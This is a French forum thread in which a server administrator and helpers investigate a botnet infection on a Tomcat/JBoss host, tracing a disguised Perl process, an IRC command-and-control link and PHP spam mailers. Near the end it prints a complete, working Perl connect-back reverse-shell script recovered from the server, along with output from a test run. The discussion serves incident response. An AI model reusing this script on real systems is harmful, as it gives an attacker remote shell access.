Discussion :

[slyz0r]

Bonjour à tous,

Un processus suspect tourne sur un de mes serveurs web, ci-dessous la sortie de la commande ps:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

tomcat    7538  0.0  0.0 128428  3692 ?        S    Nov27   0:06 /usr/sbin/apache2 -k start

Cet exécutable n'existe pas:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
ll /usr/sbin/apache2
ls: cannot access /usr/sbin/apache2: No such file or directory

On peut voir que c'est un processus PERL:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
lsof -w -n -p 7538
 
COMMAND  PID   USER   FD   TYPE     DEVICE SIZE/OFF       NODE NAME
perl    7538 tomcat  cwd    DIR      253,3   442368          2 /tmp
perl    7538 tomcat  rtd    DIR      253,1     4096          2 /
perl    7538 tomcat  txt    REG      253,1    13296    1050374 /usr/bin/perl
perl    7538 tomcat  mem    REG      253,1   161704     784316 /lib64/ld-2.12.so
perl    7538 tomcat  mem    REG      253,1  1930416     784748 /lib64/libc-2.12.so
perl    7538 tomcat  mem    REG      253,1   146592     784774 /lib64/libpthread-2.12.so
perl    7538 tomcat  mem    REG      253,1    23088     784827 /lib64/libdl-2.12.so
perl    7538 tomcat  mem    REG      253,1   600048     784828 /lib64/libm-2.12.so
perl    7538 tomcat  mem    REG      253,1   116904     783510 /lib64/libnsl-2.12.so
perl    7538 tomcat  mem    REG      253,1   114496     784839 /lib64/libresolv-2.12.so
perl    7538 tomcat  mem    REG      253,1    18056     783609 /lib64/libutil-2.12.so
perl    7538 tomcat  mem    REG      253,1    12776     784846 /lib64/libfreebl3.so
perl    7538 tomcat  mem    REG      253,1    43928     784848 /lib64/libcrypt-2.12.so
perl    7538 tomcat  mem    REG      253,1  1488544    1176049 /usr/lib64/perl5/CORE/libperl.so
perl    7538 tomcat  mem    REG      253,1    25624       1927 /usr/lib64/perl5/auto/Socket/Socket.so
perl    7538 tomcat  mem    REG      253,1    19336       1727 /usr/lib64/perl5/auto/IO/IO.so
perl    7538 tomcat  mem    REG      253,1 99164480    1061313 /usr/lib/locale/locale-archive
perl    7538 tomcat    0r  FIFO        0,8      0t0 2736075360 pipe
perl    7538 tomcat    1w  FIFO        0,8      0t0 2736075361 pipe
perl    7538 tomcat    2w  FIFO        0,8      0t0 2736075362 pipe
perl    7538 tomcat    3u  IPv4 2781849399      0t0        TCP xxx:60398->119.68.205.1:smtp (SYN_SENT)

Cela m'était déjà arrivé la semaine dernière, j'avais donc bloqué l'IP en entrée/sortie (ce qui explique le SYN_SENT).

Comment trouver ce qui lance ce processus, étant donné que l'IP est bloquée...

Merci à tous !

[BufferBob]

salut,

tu l'as justement fait remarquer, le processus n'est pas ce qu'il prétend être, à partir de là il est clairement suspect, dire si c'est un botnet... probable mais ça reste malgré tout une info secondaire

ce qu'on remarque surtout c'est qu'il semble se cantonner au user tomcat, ce qui peut donner une indication sur l'origine de l'intrusion et permet également de restreindre les recherches avec un find / -user tomcat -o -group tomcat, l'output de lsof semble dire que ça se situerait du coté de /tmp...

dans tous les cas le propos pour le malware était de trouver un répertoire dans lequel il pouvait écrire par défaut, ils ne sont pas légion sous linux, on a grossomodo /tmp, /var/tmp et /dev/shm si je me souviens bien (à vérifier), pour en avoir le coeur net là encore un coup de find qui va bien...

[slyz0r]

J'avais déjà lancé quelques find mais je n'ai rien trouvé de bizarre.

Par contre, la question que je me pose, c'est comment cette commande peut être lancée alors que j'ai bloqué l'IP en entrée/sortie...

Serait-il possible de trouver le script utilisé ?

[BufferBob]

J'avais déjà lancé quelques find mais je n'ai rien trouvé de bizarre.

si tu n'as pas d'apache sur la machine et que c'est pas un collègue qui te fait une blague avec un script perl il y a obligatoirement des choses bizarres à trouver.

Par contre, la question que je me pose, c'est comment cette commande peut être lancée alors que j'ai bloqué l'IP en entrée/sortie...

l'IP ? quelle IP ? l'IP du script ? l'IP de Perl ? l'IP d'apache ? l'IP de la voisine peut-être ?
si la commande peut être lancée c'est très probablement parcequ'il y a une vulnérabilité sur ta machine, on serait même tenté de préciser du coté de tomcat (interface d'administration trop ouverte par exemple ?), à partir de là on peut exploiter la faille depuis n'importe quelle adresse IP, et si en plus on parle de botnet on imagine facilement que des IP il y en a un certain nombre...

Serait-il possible de trouver le script utilisé ?

oui, à coup de find, si le script tournait en user tomcat et dans /tmp il devrait être rapide à retrouver, dans le cas contraire peut-être qu'il ruse, en effaçant le fichier contenant son code source alors qu'il s'exécute par exemple, du coup son code n'est plus disponible qu'en mémoire, il doit alors toujours être possible d'aller fouiller /proc/<pid>/ à la recherche du dump mémoire ou au pire d'accrocher gdb sur le processus et extraire méthodiquement le code source (script perl == fichier texte, ça se repère vite en mémoire)

[slyz0r]

si tu n'as pas d'apache sur la machine et que c'est pas un collègue qui te fait une blague avec un script perl il y a obligatoirement des choses bizarres à trouver.

J'ai un Apache en mode reverse proxy vers un JBoss. Aucune interface de gestion n'est activée, nous utilisons uniquement la ligne de commande.

l'IP ? quelle IP ? l'IP du script ? l'IP de Perl ? l'IP d'apache ? l'IP de la voisine peut-être ?

Celle de la voisine, je n'espère pas ^^. Par contre, celle indiquée dans mon premier post, surement :

Il s'agit de la dernière ligne de la sortie de ma commande lsof:

perl 7538 tomcat 3u IPv4 2781849399 0t0 TCP xxx:60398->119.68.205.1:smtp (SYN_SENT)

J'ai intentionnellement remplacé mon IP publique par "xxx". Nous pouvons voir grâce à cette ligne que mon serveur se connecte sur une IP Coréenne sur le port 25 (généralement le comportement d'un botnet). Etant donné que cela m'était déjà arrivé, j'avais bloqué cette IP en entre/sortie, ce qui explique que la connexion soit en SYN_SENT et qu'elle ne bouge plus. Par acquis de conscience j'ai lancé un tcpdump et évidemment aucun paquet ne passe.

Il doit donc y avoir un script qui se lance d'une manière ou d'une autre afin que mon serveur se connecte à cette IP sur le port 25. Ce que j'aimerais, c'est le trouver...

soui, à coup de find, si le script tournait en user tomcat et dans /tmp il devrait être rapide à retrouver, dans le cas contraire peut-être qu'il ruse, en effaçant le fichier contenant son code source alors qu'il s'exécute par exemple, du coup son code n'est plus disponible qu'en mémoire, il doit alors toujours être possible d'aller fouiller /proc/<pid>/ à la recherche du dump mémoire ou au pire d'accrocher gdb sur le processus et extraire méthodiquement le code source (script perl == fichier texte, ça se repère vite en mémoire)

Malheureusement, le /tmp est rempli de fichiers appartenant à Tomcat et étant légitimes. Je n'en vois aucun autre (tous ces fichiers ont la même convention de nommage, je retrouverai donc très vite un intrus).

Je vais essayer de voir pour la 2ème solution ^^

Merci quand même !

[slyz0r]

Sur un autre de mes serveurs, j'ai eu exactement le même problème.

Processus semblable connecté vers la même ip sur le port 25. J'ai eu le réflexe de faire un tcpdump avant de le killer, il utilisait Postfix afin de délivrer du spam.

Sur ce serveur, j'ai bien un dossier appartenant à Tomcat sous /tmp:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ll .xer/
total 944
-rwxrwxrwx 1 tomcat tomcat 126575 Apr 23  2015 class.phpmailer.php
-rwxrwxrwx 1 tomcat tomcat  11201 Apr 17  2015 class.pop3.php
-rwxrwxrwx 1 tomcat tomcat  39901 Apr 17  2015 class.smtp.php
-rwxrwxrwx 1 tomcat tomcat   5082 Dec  7 12:30 contents.html
-rw-r--r-- 1 tomcat tomcat 749597 Dec  7 12:32 data.txt
drwxrwxrwx 2 tomcat tomcat   4096 Nov 23 19:07 extras
-rwxrwxrwx 1 tomcat tomcat      0 Nov 29 10:02 index.html
drwxrwxrwx 2 tomcat tomcat   4096 Dec  7 16:06 language
-rwxrwxrwx 1 tomcat tomcat   3979 May 19  2015 main
-rwxrwxrwx 1 tomcat tomcat   4001 Apr 23  2015 main.php
-rw-r--r-- 1 tomcat tomcat      0 Dec  7 14:36 oiz
-rwxrwxrwx 1 tomcat tomcat   1738 Apr 17  2015 PHPMailerAutoload.php
-rwxrwxrwx 1 tomcat tomcat   3085 Dec  7 13:50 sender_conf.php

Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

[Jipété]

Bonsoir,

Mon grain de sel, car je suis loin d'avoir les compétences de BB, mais le sujet m'intéresse.

Sur un autre de mes serveurs, j'ai eu exactement le même problème.

Processus semblable connecté vers la même ip sur le port 25. J'ai eu le réflexe de faire un tcpdump avant de le killer, il utilisait Postfix afin de délivrer du spam.
Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

Pourquoi ne pas chercher dans le dossier en question les fichiers qui contiendraient la string représentant l'IP, et si ça ne donne rien, rechercher la string "Postfix" ?

Mais bon, tu l'as peut-être déjà fait, et les scripts sont peut-être cryptés, on va attendre de lire ce qu'en pense BB...

[slyz0r]

Les scripts sont assez simples et disponibles sous Github, cela semble de "simples" PHP mailers. De ce que je comprends, ce sont les scripts utilisés APRES la prise en main de mon système afin d'envoyer le spam.

Moi ce que je souhaite savoir, c'est comment il est entré et comment l'en empêcher dans le futur.

Je suis en train d'analyser les paquets capturés avec mon tcpdump, voici ce que je peux voir dans les trames SMTP depuis mon IP vers l'IP Coréenne:

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname...
Response: :ESMTP.Exim.com NOTICE AUTH :*** Found your hostname (cached)\r\n

Ensuite les ACK

Command Line: USER tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64\n
Command: USER
Request parameter: tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64

Response: PING :CE712BC5\r\n

Command Line: PONG :CE712BC5\n
Command: PONG
Request parameter: :CE712BC5

Ensuite un ACK

Response: ERROR :Closing Link: jboss95[ICI.MON.HOSTNAME] (Too many connections from your IP)\r\n

Dans d'autres trames SMTP:

Response: ERROR :Closing Link: [MON.IP] (Throttled: Reconnecting too fast) -Email kline@Fuck-The.Gov for more information.\r\n

[BufferBob]

Sur ce serveur, j'ai bien un dossier appartenant à Tomcat sous /tmp:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ll .xer/
total 944
-rwxrwxrwx 1 tomcat tomcat 126575 Apr 23  2015 class.phpmailer.php
-rwxrwxrwx 1 tomcat tomcat  11201 Apr 17  2015 class.pop3.php
-rwxrwxrwx 1 tomcat tomcat  39901 Apr 17  2015 class.smtp.php
-rwxrwxrwx 1 tomcat tomcat   5082 Dec  7 12:30 contents.html
-rw-r--r-- 1 tomcat tomcat 749597 Dec  7 12:32 data.txt
drwxrwxrwx 2 tomcat tomcat   4096 Nov 23 19:07 extras
-rwxrwxrwx 1 tomcat tomcat      0 Nov 29 10:02 index.html
drwxrwxrwx 2 tomcat tomcat   4096 Dec  7 16:06 language
-rwxrwxrwx 1 tomcat tomcat   3979 May 19  2015 main
-rwxrwxrwx 1 tomcat tomcat   4001 Apr 23  2015 main.php
-rw-r--r-- 1 tomcat tomcat      0 Dec  7 14:36 oiz
-rwxrwxrwx 1 tomcat tomcat   1738 Apr 17  2015 PHPMailerAutoload.php
-rwxrwxrwx 1 tomcat tomcat   3085 Dec  7 13:50 sender_conf.php

t'as un répertoire /tmp/.xer/ avec dedans du code pour envoyer des mails, ça te choque pas plus que ça ?
il a l'air intéressant ce répertoire .xer/, je pense que je vérifierai le contenu de son code et s'il est légitime

Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

c'est ça qui est beau avec tomcat, je crois pas que tu puisses (à vérifier quand même)

Pourquoi ne pas chercher dans le dossier en question les fichiers qui contiendraient la string représentant l'IP, et si ça ne donne rien, rechercher la string "Postfix" ? Mais bon (...) les scripts sont peut-être cryptés

yep c'est pas idiot, "Postfix" donnera sans doute rien mais essayer de chercher des chaines discriminantes, comme l'IP ou le fqdn du serveur d'en face, ou des mots clés de la transaction mail comme "PASS" ou "HELO" etc. pourquoi pas, ça peut rentabiliser

on va attendre de lire ce qu'en pense BB...

oh ben BB il en pense qu'il a le nez pris et le cerveau avec, qu'en tout état de cause c'est très difficile d'aider sans être devant la machine dans ces cas là, et que donc il va possiblement passer son tour ^^

[BufferBob]

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname...
Response: :ESMTP.Exim.com NOTICE AUTH :*** Found your hostname (cached)\r\n
Command Line: USER tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64\n
Command: USER
Request parameter: tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64
Response: PING :CE712BC5\r\n
Command Line: PONG :CE712BC5\n
Command: PONG
Request parameter: :CE712BC5
Response: ERROR :Closing Link: jboss95[ICI.MON.HOSTNAME] (Too many connections from your IP)\r\n
Response: ERROR :Closing Link: [MON.IP] (Throttled: Reconnecting too fast) -Email kline@Fuck-The.Gov for more information.\r\n

c'est pas du smtp, c'est de l'IRC ça, donc ça confirme tes soupçons sur le fait qu'il s'agit d'un botnet, il se connecte à son serveur irc pour y attendre ses directives

[slyz0r]

t'as un répertoire /tmp/.xer/ avec dedans du code pour envoyer des mails, ça te choque pas plus que ça ?

Bha si, c'est pour ça que j'en parle. Après, comme j'ai dit dans le post suivant, c'est un simple mailerPHP qui est utilisé pour délivrer le spam et activé via une commande IRC... En tout cas, c'est ce que j'en déduis.

il a l'air intéressant ce répertoire .xer/, je pense que je vérifierai le contenu de son code et s'il est légitime

Mais évidemment qu'il n'est pas légitime lol.

Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

c'est ça qui est beau avec tomcat, je crois pas que tu puisses (à vérifier quand même)

Et donc quel est le moyen de sortir de ce bourbier ?

[Jipété]

Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

Je passe.
Quand j'ai un clou dans un pneu, ça ne sert à rien de se demander comment on a pu choper ce truc, il est plus utile de savoir oû est le cric et comment s'en servir

Et donc quel est le moyen de sortir de ce bourbier ?

Chercher dans les scripts du côté de /etc la string "xer" ? (en espérant que c'est toujours celle-ci qui apparaît dans /tmp, sinon ça va être tendu).
Bon, je sais pas comment tu cherches, moi je vais dans le dossier puis grep -ri "la_string" *.
Ça vaut ce que ça vaut, mais je trouve ce qui m'intéresse, en général.

oh ben BB il en pense qu'il a le nez pris et le cerveau avec, qu'en tout état de cause c'est très difficile d'aider sans être devant la machine dans ces cas là, et que donc il va possiblement passer son tour ^^

Tisane de thym (même le Ducros ça marche, pas besoin de courir chez l'herboriste) bien chargée, miel si c'est trop fort (ou qu'on n'est pas habitué), s'en faire au moins deux ce soir (une après avoir lu ça, l'autre en milieu de soirée) et plein de miel entre les deux tisanes (bien infusées, bien fortes, j'insiste).
Et demain tu recommences, dès le matin.

[BufferBob]

Mais évidemment qu'il n'est pas légitime lol.
Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

du coup, tu colles le contenu du répertoire en question dans le but de trouver comment il est arrivé là, c'est ça, lol ?

comme je te disais plus haut dans la discussion on peut raisonnablement envisager qu'il s'agit d'un malware uniquement en userland et qu'il n'a pas acquis d'autres privilèges que ceux du compte utilisateur tomcat, l'idée naturelle ce serait d'aller consulter les logs s'il y en a, à la recherche de lignes caractéristiques d'une intrusion ou au moins suspectes; un client légitime avec son navigateur laisse une empreinte particulière là où un bot va par exemple se contenter d'1 seule requête
ce lien également pourra possiblement t'aider à trouver l'origine du mal
quant à patcher pour que ça n'arrive plus, ça dépend évidement de comment c'est arrivé

[slyz0r]

Je passe.
Quand j'ai un clou dans un pneu, ça ne sert à rien de se demander comment on a pu choper ce truc, il est plus utile de savoir oû est le cric et comment s'en servir

lol, c'est pas faux

Je pense que le cric, c'était la règle iptables que j'ai ajouté qui bloque l'IP Coréenne en entrée/sortie, ce qui a permis de bloquer le spam sur le premier serveur. Néanmoins, le script perl est toujours exécuté de façon aléatoire dans le temps, bien que comme expliqué dans le post initial, la connexion reste en "SYN_SENT" et non "Established".

(Pour rappel, un premier serveur a été contaminé il y a plusieurs semaines, j'ai directement bloqué l'IP sans faire de tcpdump et sans analyse approfondie. Quelques jours après, le script a été relancé mais la connexion ne s'est pas établie. "Par chance", un second serveur a été contaminé et c'est là que j'ai pu faire les tcpdump et une analyse un peu plus approfondie)

Donc, ce que je me demande, et je le répète:

1. Comment ce script PERL est arrivé
2. Où est-il
3. Comment patcher le serveur d'application

Je n'attendais pas une réponse précise mais plutôt de l'aide dans la réflexion, ce que vous faites à merveille tous les 2 et je vous en remercie.

du coup, tu colles le contenu du répertoire en question dans le but de trouver comment il est arrivé là, c'est ça, lol ?

Lol, tu aimes me charier ! Tu as raison, j'ai mis cela dans le but d'ajouter mes trouvailles, et ajouter une pièce du puzzle. Même si ce script n'est en fait utilisé que pour déclencher le spam, ce qui n'est pas réellement intéressant pour résoudre le problème.

comme je te disais plus haut dans la discussion on peut raisonnablement envisager qu'il s'agit d'un malware uniquement en userland et qu'il n'a pas acquis d'autres privilèges que ceux du compte utilisateur tomcat, l'idée naturelle ce serait d'aller consulter les logs s'il y en a, à la recherche de lignes caractéristiques d'une intrusion ou au moins suspectes; un client légitime avec son navigateur laisse une empreinte particulière là où un bot va par exemple se contenter d'1 seule requête
ce lien également pourra possiblement t'aider à trouver l'origine du mal
quant à patcher pour que ça n'arrive plus, ça dépend évidement de comment c'est arrivé

Merci de tous ces éléments.

J'ai lancé un grep récursif sur la racine en tant que tomcat en recherchant l'IP du serveur IRC Coréen, on verra.

En cherchant sur le net, j'ai trouvé ce script: https://gist.github.com/tlongren/afe81698cafaafcbe386

Vu les commandes qu'il affiche dans la liste des processus (my @rps), ça ressemble très fort à ce que je dois avoir quelque part sur mon serveur...

[Jipété]

Néanmoins, le script perl est toujours exécuté de façon aléatoire dans le temps

Un truc me fait trembler, là : faudrait pas que ton script Perl soit lancé par un autre script ou binaire se fermant après lancement, ou pire, obéissant comme un gentil bot à un méchant C&C planqué à 10 000 bornes et coupant ensuite la connexion...

Je suppose que tu ne peux rien rebooter facilement ?

[slyz0r]

C'est bien ce que je crains également...

J'ai trouvé le script perl:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/sh';
$ARGC=@ARGV;
if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);

Il était nommé "dc" et était non exécutable... Je l'ai testé vers un serveur à moi et effectivement, il envoi bien les informations demandées vers le host/port indiqué en paramètre. Le processus se coupe de suite après. J'imagine que si le serveur sur lequel il se connecte est le C&C IRC, la connexion s'établi et le script php est lancé pour déclencher l'envoi de spam.

C'est bien, j'ai avancé. Reste à trouver la faille, ce qui risque d'être plus chaud :/

Comme je le disais, sur le premier serveur, le script perl a été relancé quelques jours après que j'aie blacklisté l'IP... Je me demande bien comment :/

[slyz0r]

nc -vv -l 2121

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
 
Connection from 127.0.0.1 port 2121 [tcp/scientia-ssdb] accepted
--==Systeminfo==--
Linux host.domain.lan 2.6.32-504.23.4.el6.x86_64 #1 SMP Fri May 29 10:16:43 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux
 
--==Userinfo==--
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),116(sshlogin)
 
--==Directory==--
/tmp
 
--==Shell==--

./test.pl 127.0.0.1 2121

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

[*] Resolving HostName [*] Connecting... 127.0.0.1 [*] Spawning Shell [*] Connected to remote host

[BufferBob]

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system($system);

c'est un simple shell dit "connect-back", il établit la connexion avec une machine distante et redirige les entrées/sorties vers la socket avant de lancer un shell (ici /bin/sh)
quand le shell se termine (logout/exit) le script aussi

nc -vv -l 2121

je ne saurai que trop t'encourager à éviter ce genre de manip hasardeuse, dans la mesure où justement tu ne sais pas ce que fait le script, et en plus tu l'as exec en root apparemment, ce qui est pire que le contexte de départ (puisqu'il s'exécute en tomcat)

C'est bien, j'ai avancé. Reste à trouver la faille, ce qui risque d'être plus chaud :/

pas plus pas mieux que ce que j'ai pu te dire plus haut, à ça près que tu as le script, tu as donc - peut-être ? - encore l'horodatage du fichier, ce qui te permettrait d'affiner une recherche dans les logs

Comme je le disais, sur le premier serveur, le script perl a été relancé quelques jours après que j'aie blacklisté l'IP... Je me demande bien comment :/

en ré-exploitant la faille peut-être ?

[slyz0r]

je ne saurai que trop t'encourager à éviter ce genre de manip hasardeuse, dans la mesure où justement tu ne sais pas ce que fait le script, et en plus tu l'as exec en root apparemment, ce qui est pire que le contexte de départ (puisqu'il s'exécute en tomcat)

J'ai exécuté le script en local (127.0.0.1) et le port utilisé (2121) n'est pas ouvert pour l'extérieur via iptables... J'avais lu le script et j'avais bien compris ce qu'il faisait, hormis le lancement du shell, ce que j'ai remarqué en testant... Il y avait peu de risque, surtout qu'il s'agit d'un serveur de test.

J'ai tout nettoyé, mis à jour ce que je pouvais et je l'ai redémarré.

pas plus pas mieux que ce que j'ai pu te dire plus haut, à ça près que tu as le script, tu as donc - peut-être ? - encore l'horodatage du fichier, ce qui te permettrait d'affiner une recherche dans les logs

Il était horodaté en 2011...

en ré-exploitant la faille peut-être ?

Bien vu !! Sauf que comme je l'ai dit plusieurs fois, l'IP a été blacklistée en entrée/sortie.

Ce qui a d'ailleurs été utile, étant donné que la connexion est restée en SYN_SENT. Il doit utiliser une autre IP pour exploiter la faille, mais ça me parait chelou.

Bref, merci de tes remarques, qui l'air de rien m'ont fait avancer. Par contre, tu pourrais être moins médisant à l'avenir, ce serait pas plus mal.

[BufferBob]

Il était horodaté en 2011...

arf, dommage...

(...) comme je l'ai dit plusieurs fois, l'IP a été blacklistée en entrée/sortie.

sauf que tu confonds deux choses à mon avis, ce que tu as bloqué c'est l'IP du C&C, pas l'IP qui t'a infecté (et donc qui a exploité la faille), par nature comme il s'agit d'un botnet les IP susceptibles d'exploiter la faille sont nombreuses

Par contre, tu pourrais être moins médisant à l'avenir, ce serait pas plus mal.

médisant ? qu'ai-je donc dit que tu as mal pris ?